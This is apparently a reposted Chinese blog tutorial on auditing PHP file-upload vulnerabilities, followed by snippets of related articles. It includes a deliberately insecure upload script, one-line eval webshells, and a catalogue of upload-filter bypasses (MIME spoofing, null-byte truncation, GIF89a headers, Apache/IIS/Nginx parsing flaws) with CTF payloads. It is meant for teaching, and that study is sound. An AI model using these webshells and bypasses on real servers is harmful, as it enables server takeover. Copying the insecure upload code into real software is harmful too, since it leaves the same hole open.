2020/1/30 PHP代码审计之文件上传漏洞

0x00 漏洞简介

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击是最为直接和有效的,“文件上传”本身是没有问题,有问题的是文件上传后,服务器怎么处理,解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果,。

0x01漏洞条件

文件可上传
知道文件上传的路径
上传文件可以被访问
上传文件可以被执行

0x02 挖掘思路

上传点都调用同一个上传类,直接全局搜索上传函数
黑盒寻找上传点,代码定位。

0x03 写一个上传

我们先写一个上传的前端

<html>
<head>
<meta charset="UTF-8">
<title>upload.html</title>

</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" name="上传文件">
    <!--<input type="hidden" name="MAX_FILE_SIZE" name="4098">//设置文件上传大小,一般在php.ini里面设置-->

</form>

</body>

</html>

写一个上传php

<?php
$upload_dir = "D:\PHPSTUDY2018\PHPTutorial\WWW\upload";
if(isset($_FILES['file'])){
    $upload_name = $upload_dir . "\\" . $_FILES['file'];
    move_uploaded_file($_FILES['file']['tmp_name'],$upload_name);
    echo "Type:" . $_FILES['file']['type']. "<br >";
    echo "Size:" . ($_FILES['file']['size'] / 1024) . "<br >";
    echo "Name:" . $_FILES['file']['name'];//这三行是我们看一下上传效果。

}else{
    echo"上传失败";
}

写一个最简单的一句话

<?php
@eval($_POST['777'])

?>

上传:

看到上传成功

之后拿蚁剑连接就行
这是一个最简单最简单的例子,只是让自己开始往白盒方向转变。慢慢积累

0x04 文件上传绕过

1:客户端js检测检测绕过

检测原理

在客户端通过javascript代码来检测用户提交的文件是否合法
绕过方法

  1. 添加允许上传的文件类型,使自己想要上传的会见类型为合法

2、删除对js验证脚本的调用,使其不能对上传的文件类型做检测,从而达到绕过?-同样的通过审查元素,查看到form表单的内容,form的开始标签为,其中的onsubmit="return checkFile()的作用就是当点击上传按钮的时候,就会触发js验证脚本,所以将这一部分删除,变可以成功绕过检测

3、利用burpsuite抓包,修改文件类型进行绕过-首先将我们想要上传的恶意脚本的后缀更改为符合要求的文件类型后缀如:webshell.php? -> webshell.jpg-当点击上传的时候使用burp进行抓包,将名字的后缀改回.php,以便上传至服务器能够正确解析

2:服务端绕过

1:MIME类型检测绕过

检测原理
当用户上传文件到服务器端的时候,服务器端的程序会获取上传文件的MIME类型,然后用这个获取到的类型来和期望的MIME类型进行匹配,如果匹配不上则说明上传的文件不合法。服务端检测MIME类型的代码如下:

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')){

 ...//判断过后对文件处理的进一步操作
}

绕过方法

因为服务端检测的是文件的MIME类型,而对这个MIME类型的的值的获取是通过HTTP请求字段里的Content-Type字段 ,所以绕过的方法就是通过修改Content-Type的值,比如修改为image/jpeg;image/png;image/gif等等允许上传类型对应的MIME值
2:黑名单绕过
检测原理

文件类型根据黑名单来检测的原理就是:服务器程序根据一份文件后缀名的名单来判断是否允许当前文件上传到服务器,只要上传的文件的类型能够和这个黑名单里面的类型匹配,那么就禁止该文件上传

绕过方法

1.?文件名大小写绕过
用像AsP,?pHp之类的文件名绕过黑名单检测2.?名单列表绕过
用黑名单里没有的名单进行攻击,比如黑名单里没有asa或cer之类
3.?特殊文件名绕过
比如发送的?http包里把文件名改成?test.asp.?或?test.asp_(下划线为空格),这种命名方式
在windows系统里是不被允许的,所以需要在?burp之类里进行修改,然后绕过验证后,会
被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。
4.0x00截断绕过

test.php(0x00).jpg  test.php%00.jpg
  1. .htaccess文件攻击
    6.? 解析调用/漏洞绕过
    7:.ini文件攻击
    8:文件头绕过
在木马内容基础上再加了一些文件信息,有点像下面的结构GIF89a<?php phpinfo(); ?>

9:多个Content-Disposition

在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过,Win2k8 + IIS7.0 + PHP

10:目录验证
iis6.0存在写入目录

3:web应用程序解析绕过

1. Apache解析漏洞
解析:test.php.(任意不属于黑名单且也不属于Apache解析白名单的名称),比如test.php.lala
描述:一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错
2. IIS解析漏洞
解析 :test.asp/(任意文件名)|test.asp;(任意文件名) | (任意文件名)/(任意文件名).php

描述:IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,
那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"会优先按asp来解析

IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;
3. Nginx解析漏洞
解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php

描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

0x05 我打ctf经常用的一句话

1:碰到过一次任意文件上穿漏洞,在config.php中并未发现定义类型Media,请求:upload/.php?Type=Media
2:上传图片马
3:序列化木马:

<?php
class A{
    var $a = "<?php phpinfo()?>";
}
$aa = new A();
echo serialize($aa);
?>

4:php,php3,php4,php5,phtml.pht
5:扩展名绕过
Asp:asa cer cdx
Aspx:ashx asmx ascx
Php:php3 phptml
Jsp:jspx jspf
6:

<script language=php>system("ls")</script>

7:

GIF89a?
<script language="php">eval($_REQUEST[shell])</script>

0x06 防御

文件扩展名服务端白名单校验。

文件内容服务端校验。
上传文件重命名
隐藏上传文件路径。

参考链接https://www.cnblogs.com/ldhbetter/p/9190556.html

原文地址:https://www.cnblogs.com/wangtanzhi/p/12243206.html

时间: 2024-11-07 06:32:13

2020/1/30 PHP代码审计之文件上传漏洞的相关文章

php代码审计8审计文件上传漏洞

文件上传漏洞是指用户上传了一个可执行的脚步文件,并通过此脚本文件获得了执行服务器端命令的能力,这种攻击方式是最直接和有效的,文件上传本身是没问题的,有问题的是文件上传后,服务器怎么处理,解释文件,通过服务器的处理逻辑做的不够安全,则会导致严重后果 漏洞条件:文件可上传--知道文件上传路径--上传文件可以被访问--上传文件可以被执行 文件上传可控点:Content-Length,即上传内容大小MAX_FILE-SIZE,即上传内容的最大长度filename,即上传文件名Content-Type,即

文件上传漏洞攻击与防御

前言 从一年前开始学习web安全以来,一直都是在吸收零碎的知识,不断地看书与一些前辈的文章,中间也经过一些实践,学习相关的工具,但是却没真真正正地在脑中形成一套完整的体系.从不久前就想着要写一些博客,趁着这个机会,便好好梳理一下所学的知识,只是这些文章所写大部分内容也是搬运前辈的文章,鲜有自己所想所悟. 关于文件上传漏洞,百度一下便有许多文章出来,在这里我也稍稍做整理. 0x00 文件上传漏洞所需满足的条件 一是文件可上传(感觉这一句是废话).二是上传文件路径可知,如果路径不可知就没法访问,亦无

文件上传漏洞原理以及防范

1. 什么是文件上传漏洞 程序员由于没有对上传的文件进行严格限定,导致黑客可以通过工具上传其他格式的程序文件(比如:webshell),这样黑客就会拿到一个可执行环境,在服务器上搞破坏. 一个常见的例子,很多网站存在上传图片的功能,如果不对上传图片的扩展名进行检测.过滤就会造成上传漏洞. 2. 如何防范上传漏洞 步骤:前端JS代码限定--->后台代码检测--->取消文件目录执行脚本的权限. 以如何防范图片上传漏洞做个过程分析: 新建一个解决方案: 2.1 第一步前端用JavaScript对上传

文件上传漏洞演示脚本之js验证

文件上传漏洞演示脚本之js验证 0 0 716 关于文件上传漏洞,想必玩web安全的同学们都有接触,之前本站也发布过一篇文章介绍文件上传漏洞的各种绕过方法,但是只是有文档却没有演示代码,最近给公司一客户培训,就照文档中的绕过写出了相应的代码,方便我等小菜研究,此次的文章我会连续发几天都是关于如何绕过的,全都是科普文,很简单的,希望小伙伴们喜欢. 关于文件上传漏洞的文章 绕过文件上传验证 为什么文件上传表单是主要的安全威胁 js验证绕过演示代码 01 <?php 02 /** 03  * Crea

【Web安全】文件上传漏洞原理分析

0x01 文件上传漏洞简介 为了让用户将文件上传到网站,就像是给危机服务器的恶意用户打开了另一扇门.即便如此,在今天的现代互联网的Web应用程序,它是一种常见的要求,因为它有助于提高业务效率.企业支持门户,给用户各企业员工有效地共享文件.允许用户上传图片,视频,头像和许多其他类型的文件.向用户提供的功能越多,Web应用受到攻击的风险和机会就越大,这种功能会被恶意用户利用,获得到一个特定网站的权限,或危及服务器的可能性是非常高的.上传文件本身没有错,问题与漏洞在于服务器怎么处理上传的文件. 0x0

Web应用安全之文件上传漏洞详解

什么是文件上传漏洞 文件上传漏洞是在用户上传了一个可执行的脚本文件,本通过此脚本文件获得了执行服务器端命令的功能,这种攻击方式是最为直接,最为有效的,有时候,几乎没有什么门槛,也就是任何人都可以进行这样的攻击.文件上传为什么会是漏洞呢?文件上传本身是没有问题的,问题是文件上传后看服务器怎么来处理,怎么来解析这个文件.如果说服务器处理的模式不够安全,那么就会导致严重的后果,也就是上传了恶意的可执行文件以后,服务器端对此文件进行执行. 文件上传后导致的安全问题 上传的文件是web脚本语言,服务器的w

owasp文件上传漏洞简析

0x01: 文件上传漏洞起因于,上传程序没有对上传文件格式进行正确判断,导致可执行程序上传到网站目录. 常见的验证上传文件有两种:1.js本地验证,通过js获取上传文件后缀名,并和白名单比较,匹配则上传成功.由于js代码是本地验证,存在绕过风险(去除js代码,构造表单数据,直接绕过). 2.后端程序验证,通过post数据到file_upload()函数,$_FILES['file']['type']判断上传程序后缀名. function file_upload(){ $file_name = $

《白帽子讲WEB安全》学习笔记之第8章 文件上传漏洞

第8章 文件上传漏洞 8.1 文件上传漏洞概述 文件上传漏洞是指用户上传一个可执行的脚本文件,并通过此脚本文件活动执行服务器端的能力. 原理:由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件. 文件上传漏洞安全问题: q  上传文件是WEB脚本文件,服务器的WEB服务器解释并执行了用户上传的脚本,导致代码执行: q  上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行

PHP漏洞全解(九)-文件上传漏洞

本文主要介绍针对PHP网站文件上传漏洞.由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP解释器,就可以在远程服务器上执行任意PHP脚本,即文件上传漏洞. 一套web应用程序,一般都会提供文件上传的功能,方便来访者上传一些文件. 下面是一个简单的文件上传表单 <form action="upload.php" method="post" encty